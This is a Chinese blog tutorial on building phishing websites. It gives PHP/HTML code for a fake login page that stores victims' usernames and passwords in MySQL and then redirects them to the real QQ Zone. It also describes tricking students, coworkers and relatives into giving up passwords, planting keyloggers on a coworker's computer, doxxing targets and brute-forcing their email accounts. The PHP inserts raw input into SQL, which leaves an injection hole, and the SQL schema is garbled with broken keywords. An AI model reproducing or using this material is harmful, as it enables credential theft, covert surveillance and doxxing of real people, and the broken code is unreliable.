钓鱼网站开发原理(社会工程学)

2024-06-22 21:20

本文主要是介绍钓鱼网站开发原理(社会工程学),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

钓鱼网站开发原理(社会工程学)

  • 一、课程简介
    • 1、课程大纲
    • 2、课程目标
    • 3、知识储备
  • 二、钓鱼网站简介
    • 1、什么是钓鱼网站
    • 2、开发&原理
  • 三、PHP环境搭建
    • 1、简介
    • 2、自动安装MySQL/apache/PHP
    • 3、安装navicat
  • 四、PDO表单入库案例
    • 1、语法
    • 2、显示登录表单
    • 3、入库(收集用户提交的数据)
  • 五、通过PHP开发钓鱼网站
  • 六、生活中隐形钓鱼网站(人肉搜索原理&提防)
    • 1、社会工程学简介(社工)
    • 2、社工实践
      • 1)需求:获取学生、公司同事、亲人等账号密码
      • 2)获取网络用户更多信息
    • 3、人肉搜索原理
    • 4、生活中隐形钓鱼网站
    • 5、提防

一、课程简介

1、课程大纲

钓鱼网站简介(是什么,怎么写的,原理)
PHP环境搭建(准备)
PDO表单入库(通过PHP收集用户数据)
通过PHP开发钓鱼网站
生活中隐形的钓鱼网站(人肉搜索原理&提防)

2、课程目标

通过本次公开课,大家可以

理解钓鱼网站概念&原理
掌握PHP环境搭建
掌握通过PHP的PDO扩展收集用户登录表单提交的数据
掌握钓鱼网站的开发
理解人肉搜索的原理&提防

3、知识储备

HTML基础
PHP基础
MySQL基础

二、钓鱼网站简介

1、什么是钓鱼网站

钓鱼网站:指伪装成银行/社交平台/购物平台,窃取用户提交的银行账号、密码等私密信息的网站。
简单概括:坏人制作了一个网站,通过各种手段将网址发给你,你没抗住诱惑输入了银行账号和密码。

2、开发&原理

步骤1:
通过各种渠道传递诱惑消息,诱导用户打开
利用传智PHP学科基础班DIV+CSS课程技术-》所开发的钓鱼网站

步骤2:
通过表单收集用户提交的账号&密码

三、PHP环境搭建

1、简介

工具:PHP study.exe(网址:http://phpstudy.php.cn/)
环境:
MySQL:存放数据
Apache:web服务器
PHP:将用户提交的账号密码保存到MySQL中

2、自动安装MySQL/apache/PHP

3、安装navicat

Navicat:数据库管理工具(MySQL),用于查看本地数据库中的表

#创建名为php的数据库
drop databse if exists php;
creat database php;
use php;
#创建表
drop table if exists users;
id int primary key auto_incream comment ‘编号’,
username varche(45) not null comment ‘账号’,
pwd varche(80) not null comment ‘密码’,
creat_at int not null default 0 comment ‘创建于’,
updated_at int not default 0 comment ‘更新于’
)charset=utf8;

四、PDO表单入库案例

1、语法

HTML知识点

表单:<form  action="./test.php" method="post"> </form>
账号:<input type="text" name="username" id="">
密码:<input type="password" name="pwd" id="">

PHP知识点

//通过PHP的PDO扩展保存数据
//创建PDO对象
$pdo = new PDO('mysql:dbname=php','root','root');
//执行sql语句(将输入的账号密码保存到MySQL仓库中)
$rs = $pdo->exec("insert into users values(null,'$username','$pwd',$time,$time)");

2、显示登录表单

步骤1:使用sublime创建test.html文件
步骤2:输入【!】按【tab】键
步骤3:输入【下述代码】即可

<form  action="./test.php" method="post"> <center>                       <p>账号:<input type="text" name="username" id=""></br></p><p>密码:<input type="password" name="pwd" id=""></br></p><input type="submit" value="登录"  style="width: 250px;height: 40px;background-color: blue; font-size:18px;color:white;"></center>
</form>

3、入库(收集用户提交的数据)

步骤1:创建test.php文件
步骤2:通过$_POST[‘NAME’] 接收数据
步骤3:通过PDO语法入库

<?php//服务器端脚本
//获取全部提交的数据  $_POST
//获取&_POST里面的指定数据 $_POST['表单的name属性值']
//打印数据           print_(待打印的数据)//print_r($POST)
$username = $_POST['username'];
$pwd = $_POST['pwd'];
$time = time();//通过PHP的PDO扩展保存数据
//创建PDO对象
$pdo = new PDO('mysql:dbname=php','root','root');
//执行sql语句(将输入的账号密码保存到MySQL仓库中)
$rs = $pdo->exec("insert into users values(null,'$username','$pwd',$time,$time)");
$realUrl='https://qzone.qq.com/';
//判断跳转
if($rs){echo "<script>alert('success');location.href='$realUrl'</script>";
}else{echo "<script>alert('failure');location.href='$realUrl'</script>";}?>
//提交信息后输出警告框提示信息,并跳转到真实网址

五、通过PHP开发钓鱼网站

步骤1:将钓鱼网站文件放到站点目录中
步骤2:访问测试
步骤3:通过PHP创建收集用户数据

六、生活中隐形钓鱼网站(人肉搜索原理&提防)

1、社会工程学简介(社工)

简单理解:
利用“人性”的心理弱点、本能反应、好奇心、信任、贪婪等心理,进行欺骗、伤害等危害手段、最终取得自身利益的手法。
应用场景:短信诈骗,电话诈骗如以知名人士的名义去推销诈骗等

2、社工实践

1)需求:获取学生、公司同事、亲人等账号密码

学生:角色讲师/同学-》通过PHP开发个人博客–》查看精品文章必须注册
同事:人物性格、兴趣爱好分析-》通过PHP开发偶像博客/论坛-》注册上厕所/吃饭电脑安装键盘记录精灵
亲人:通过PHP仿QQ空间相册(封面女友照片)-》发送亲人点击提示输入账号密码-》入库

2)获取网络用户更多信息

场景1:普通用户A通过钓鱼网站导致密码被盗
场景2:网站被攻击管理员邮箱和账号被盗
明确:80%的人的银行卡、QQ、微信、身份证等密码都存在关联或者直接一样
手法:通过落网用户的已知账号和密码-》进一步采集昵称、163邮箱、qq邮箱、贴吧等进行分析-》人肉-》尝试暴力破解(注:通过落网账号密码分析后获得163邮箱账号,尝试暴力破解,成功进入后如果是一个站长势必会进一步获得购买服务器等相关信息)

3、人肉搜索原理

准备:确定人肉角色
手法:获取该角色常用昵称、手机号、qq号、邮箱、微博等信息-》谷歌/百度
结果:真实性格、兴趣爱好、经历、历史照片等

练习
通过留下的账号信息进一步分析
1,点击头像进入个人主页
2,通过关注的贴吧-》兴趣爱好
3,回复的内容 -》性格人品思想
照片

还能搜索此人以前注册的网站

4、生活中隐形钓鱼网站

1)百度地图记录你去过的地方
2)微博提供接口(所有用户发布的说说动态) --》便于商家提供用户体验
3)智能手机相册同步云–》可能存在人脸识别大数据分析、万一数据泄露
4)安卓手机应用商店APP小心下载(注:避免钓鱼网站)
5)社交软件附近人/摇一摇(注:慎用你以为是女的,指不定就是我)

5、提防

1)避免在网上留下痕迹,如QQ、手机号等(注:可通过上述方式检测删除)
2)搞编程势必需要登录一些网站看资料或视频 --》 切记用小号密码123456
自己注册个小号,密码随意

这篇关于钓鱼网站开发原理(社会工程学)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1085445

相关文章

Java线程池核心参数原理及使用指南

《Java线程池核心参数原理及使用指南》本文详细介绍了Java线程池的基本概念、核心类、核心参数、工作原理、常见类型以及最佳实践,通过理解每个参数的含义和工作原理,可以更好地配置线程池,提高系统性能,... 目录一、线程池概述1.1 什么是线程池1.2 线程池的优势二、线程池核心类三、ThreadPoolE

VSCode开发中有哪些好用的插件和快捷键

《VSCode开发中有哪些好用的插件和快捷键》作为全球最受欢迎的编程工具,VSCode的快捷键体系是提升开发效率的核心密码,:本文主要介绍VSCode开发中有哪些好用的插件和快捷键的相关资料,文中... 目录前言1、vscode插件1.1 Live-server1.2 Auto Rename Tag1.3

Agent开发核心技术解析以及现代Agent架构设计

《Agent开发核心技术解析以及现代Agent架构设计》在人工智能领域,Agent并非一个全新的概念,但在大模型时代,它被赋予了全新的生命力,简单来说,Agent是一个能够自主感知环境、理解任务、制定... 目录一、回归本源:到底什么是Agent?二、核心链路拆解:Agent的"大脑"与"四肢"1. 规划模

Spring Boot Interceptor的原理、配置、顺序控制及与Filter的关键区别对比分析

《SpringBootInterceptor的原理、配置、顺序控制及与Filter的关键区别对比分析》本文主要介绍了SpringBoot中的拦截器(Interceptor)及其与过滤器(Filt... 目录前言一、核心功能二、拦截器的实现2.1 定义自定义拦截器2.2 注册拦截器三、多拦截器的执行顺序四、过

Java 队列Queue从原理到实战指南

《Java队列Queue从原理到实战指南》本文介绍了Java中队列(Queue)的底层实现、常见方法及其区别,通过LinkedList和ArrayDeque的实现,以及循环队列的概念,展示了如何高效... 目录一、队列的认识队列的底层与集合框架常见的队列方法插入元素方法对比(add和offer)移除元素方法

Python+wxPython开发一个文件属性比对工具

《Python+wxPython开发一个文件属性比对工具》在日常的文件管理工作中,我们经常会遇到同一个文件存在多个版本,或者需要验证备份文件与源文件是否一致,下面我们就来看看如何使用wxPython模... 目录引言项目背景与需求应用场景核心需求运行结果技术选型程序设计界面布局核心功能模块关键代码解析文件大

SQL 注入攻击(SQL Injection)原理、利用方式与防御策略深度解析

《SQL注入攻击(SQLInjection)原理、利用方式与防御策略深度解析》本文将从SQL注入的基本原理、攻击方式、常见利用手法,到企业级防御方案进行全面讲解,以帮助开发者和安全人员更系统地理解... 目录一、前言二、SQL 注入攻击的基本概念三、SQL 注入常见类型分析1. 基于错误回显的注入(Erro

C++多线程开发环境配置方法

《C++多线程开发环境配置方法》文章详细介绍了如何在Windows上安装MinGW-w64和VSCode,并配置环境变量和编译任务,使用VSCode创建一个C++多线程测试项目,并通过配置tasks.... 目录下载安装 MinGW-w64下载安装VS code创建测试项目配置编译任务创建 tasks.js

Spring IOC核心原理详解与运用实战教程

《SpringIOC核心原理详解与运用实战教程》本文详细解析了SpringIOC容器的核心原理,包括BeanFactory体系、依赖注入机制、循环依赖解决和三级缓存机制,同时,介绍了SpringBo... 目录1. Spring IOC核心原理深度解析1.1 BeanFactory体系与内部结构1.1.1

MySQL 批量插入的原理和实战方法(快速提升大数据导入效率)

《MySQL批量插入的原理和实战方法(快速提升大数据导入效率)》在日常开发中,我们经常需要将大量数据批量插入到MySQL数据库中,本文将介绍批量插入的原理、实现方法,并结合Python和PyMySQ... 目录一、批量插入的优势二、mysql 表的创建示例三、python 实现批量插入1. 安装 PyMyS